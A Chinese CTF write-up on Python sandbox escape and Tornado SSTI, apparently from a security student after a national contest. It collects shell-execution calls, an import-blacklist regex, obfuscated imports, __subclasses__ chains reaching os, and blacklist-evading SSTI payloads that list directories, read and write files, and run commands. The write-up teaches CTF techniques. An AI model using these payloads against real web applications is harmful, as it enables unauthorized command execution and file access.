python沙箱逃逸

前两天打了国赛半决赛,很菜,有一道python tornado 的ssti差点就做出来了,很可惜。决定补一补python。

一些调用shell命令的方法

1
2
3
4
5
6
7
8
9
import os,subprocess,commands,timeit
os.system('ifconfig')
os.popen('ifconfig')#返回file read对象,需要用read()或者readlines()去读
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['cat /flag'],shell=True)
timeit.timeit("__import__('os').system('ifconfig'))",number=1)#这个模块中的timeit函数本来返回的是命令执行时间的,但是我们也可以利用它来执行任意命令
print platform.popen('dir').read()
map(os.system,["ls /tmp"])

import相关的基础

检测敏感包

1
2
3
4
5
6
7
import re
code = open('code.py').read()
pattern = re.compile('import\s+(os|commands|subprocess|sys)')
match = re.search(pattern,code)
if match:
print "forbidden module import detected"
raise Exception

引入包的方式:
import函数:

1
2
a=__import__('pbzznaqf'.decode('rot_13'))#pbzznaqf=>rot13=>commands
a.getoutput('ifconfig')

importlib库:

1
2
3
import importlib
a = importlib.import_module("pbzznaqf".decode('rot_13')
print a.getoutput('ifconfig')

import进阶

python中,不用引入直接使用的内置函数称为builtin函数,随着__builtin__这一个module自动被引入到环境中(在python3.x 版本中,__builtin__变成了builtins,而且需要引入)
像open(),int(),chr()这些函数,相当于__builtin__.open()
可以删掉:del __builtin__.chr,同理,可以删掉危险函数。
__builtin__是默认引入的,而reload函数用于重新载入模块,只需reload(__builtin__)即可重新得到完整的__builtin__模块了
but,reload函数也是在__builtin__里面的,如果它也被删掉了,可以这么做:

1
2
import imp
imp.reload(__builtin__)

即可重新获得完整的__builtin__模块

dir()与__dict__

这两种方法在沙箱逃逸中都很有用,可以列出一个模组/类/对象下面 所有的属性和函数,__dict__是用来存储对象属性的一个字典,其键为属性名,值为属性的值

内联函数

python的object类中集成了很多基础函数,创建object的方法:

1
2
().__class__.__bases__[0]
''.__class__.__mro__[2]

创建object后,可以调用__subclasses__搞事情了:

1
2
3
4
5
6
7
8
9
10
11
12
13
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'/flag').read()
().__class__.__bases__[0].__subclasses__()[40]('/flag','r').read()
"".__class__.__mro__[-1].__subclasses__()[40]('/tmp/flag').read()
[].__class__.__mro__[-1].__subclasses__()[40]('/tmp/flag').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()')
[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
#以上语句,貌似开头的[]和()效果是一样的
#另外,不会这么舒服让你读的,要用到反射和__dict__去绕过

当访问某个对象的属性时,会无条件的调用__getattribute__这个方法。比如调用t.__dict__,其实执行了t.__getattribute__("__dict__")函数, 这个方法只适用于新式类。
新式类就是集成自object或者type的类。
上面有一句可以改写成:用__dict__还是__getattribute__得看调用者是什么类型

1
[].__class__.__base__.__subclasses__()[71].__dict__["__in"+"it__"].__getattribute__("__glo"+"bals__")['os'].system('ls /tmp')

在这里,贴一下前两天国赛web9的列目录的payload:

1
2
3
4
5
6
{{getattr(getattr(().__class__.__bases__[0].__subclasses__()[59],"__in"+"it__"),"func_glo"+"bals")["linecache"].__dict__["o"+"s"].__dict__["sy"+"stem"]('ls /tmp')}}
#dict和globals都是字典类型,用[]键值对访问,也可以通过values(),keys()这样的方法来转换成list,通过下标来访问
#func_globals是一个保存所有全局对象的字典,函数通过此字典查找其中所有用到的全局对象。
#注意,用system(ls /...)的话,在这题里只会显示最后一行。。迷
#这个可以列目录
{{[].__class__.__base__.__subclasses__()[71].__dict__["__in"+"it__"].__getattribute__("__glo"+"bals__")['o'+'s'].__dict__['po'+'pen']('ls /home/ciscn').read()}}

__globals__ ,func_globals在官方文档的定义:
A reference to the dictionary that holds the function’s global variables — the global namespace of the module in which the function was defined.

object.__dict__:
A dictionary or other mapping object used to store an object’s (writable) attributes.

class.__mro__:
This attribute is a tuple of classes that are considered when looking for base classes during method resolution.

class.__subclasses__()
Each new-style class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. Example:

>>> int.__subclasses__()
[<type 'bool'>]

几个__subclasses__的属性:
image
{{}}的结构是SSTI,我会在另一篇文章中详细讲一下SSTI,然后,还用到了反射,因为后台代码有一个黑名单,用反射即可无视。在这里必须感谢一下广州外语外贸大学Pr0ph3t大佬的教导。

反射

有时候需要通过一个字符串去调用相应的函数,数量多了的话,不可能一个一个if来写,这时候要用到反射机制。
先说明一下getattr函数的使用方法:第一个参数是一个对象或者模块,第二个参数是个字符串。

比如getattr(commons,inp),getattr函数让程序去commons这个模块里,寻找一个叫inp的成员(是叫,不是等于),这个过程就相当于我们把一个字符串变成一个函数名的过程。然后,把获得的结果赋值给func这个变量,实际上func就指向了commons里的某个函数。最后通过调用func函数,实现对commons里函数的调用。这完全就是一个动态访问的过程,一切都不写死,全部根据用户输入来变化。


而hasattr(commons,inp)可以判断commons中是否有这个成员,可以防止非法输入错误。
访问属性的方法还有__getattr__()__getattribute__(),区别如下:
如果某个类定义了 __getattribute__()方法,在 每次引用属性或方法名称时 Python 都调用它(特殊方法名称除外,因为那样将会导致讨厌的无限循环)。
如果某个类定义了 __getattr__() 方法,Python 将只在正常的位置查询属性时才会调用它。如果实例 x 定义了属性 color, x.color 将 不会 调用x.__getattr__('color');而只会返回 x.color 已定义好的值。
对于python来说,属性或者函数都可以被理解成一个属性,且可以通过__getattribute__获取。
__dict__[inp],可以用来以键名方式获得属性值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Comrade(object):
def __getattr__(self,key):
if key=='color':
return 's1'
else:
return 's2'
comrade=Comrade()
print comrade.color
#输出's1'
class Comrade(object):
def __getattr__(self,key):
if key=='color':
print 's1'
else:
print 's2'
comrade=Comrade()
comrade.color='wwwww'
print comrade.color
#输出'wwwww'
class Comrade(object):
def __getattribute__(self,key):
if key=='color':
return 's1'
else:
print 's2'
comrade=Comrade()
comrade.color='wwwww'
print comrade.color
#输出's1'

动态导入模块
python提供了一个特殊的方法:__import__(字符串参数)。通过它,我们就可以实现类似的反射功能。__import__()方法会根据参数,动态的导入同名的模块。
对于lib.xxx.xxx.xxx这一类的模块导入路径,__import__默认只会导入最开头的圆点左边的目录。解决方法:

1
2
3
4
5
6
7
8
9
10
11
def run():
inp = input("请输入您想访问页面的url: ").strip()
modules, func = inp.split("/")
obj = __import__("lib." + modules, fromlist=True) # 注意fromlist参数
if hasattr(obj, func):
func = getattr(obj, func)
func()
else:
print("404")
if __name__ == '__main__':
run()

system还是popen?

做题时还遇到了一个问题,一开始,我用的列目录payload是:

1
{{[].__class__.__base__.__subclasses__()[71].__dict__['__in'+'it__'].__getattrbute__('func_glo'+'bals')['o'+'s'].__dict__['syst'+'em']('ls /home/ciscn')}}

在本地测试,发现除了输出的正常结果以外,还会返回一个状态码image但是,在题目中,只会回显状态码image进一步测试,发现用python的os.system命令,都会多返回一个状态码image再结合题目的情况,可以看出,python的system命令执行结果会输出在标准output,但是返回的却只有一个状态码,坑!
所以,改用popen

1
[].__class__.__base__.__subclasses__()[71].__dict__["__in"+"it__"].__getattribute__("__glo"+"bals__")['o'+'s'].__dict__['po'+'pen']('ls /home/ciscn').read()

image非常完美。

总结

比赛时,由于不知道怎么去列目录,一直在用读文件的命令去各种试,以为flag的文件就叫flag,读过/home/ciscn/flag,没有成功,后面到了fixit才知道,flag在/home/ciscn/flag.txt中,虽然很可惜,但是也没什么好说的,如果flag的文件名改得更刁钻一点,那我就更没办法了,只能怪自己还是太菜,技术不够。后面复现了一下,发现这题可以花式吊锤的。

你在一生中,可以有所作为的时候只有一次。那就是现在,然而,许多人却在悔恨过去和担忧未来之中浪费了大好时光。

References

https://xz.aliyun.com/t/52
https://www.anquanke.com/post/id/107000
https://www.anquanke.com/post/id/85571
https://blog.csdn.net/qq_35078631/article/details/78504415
https://www.cnblogs.com/Guido-admirers/p/6206212.html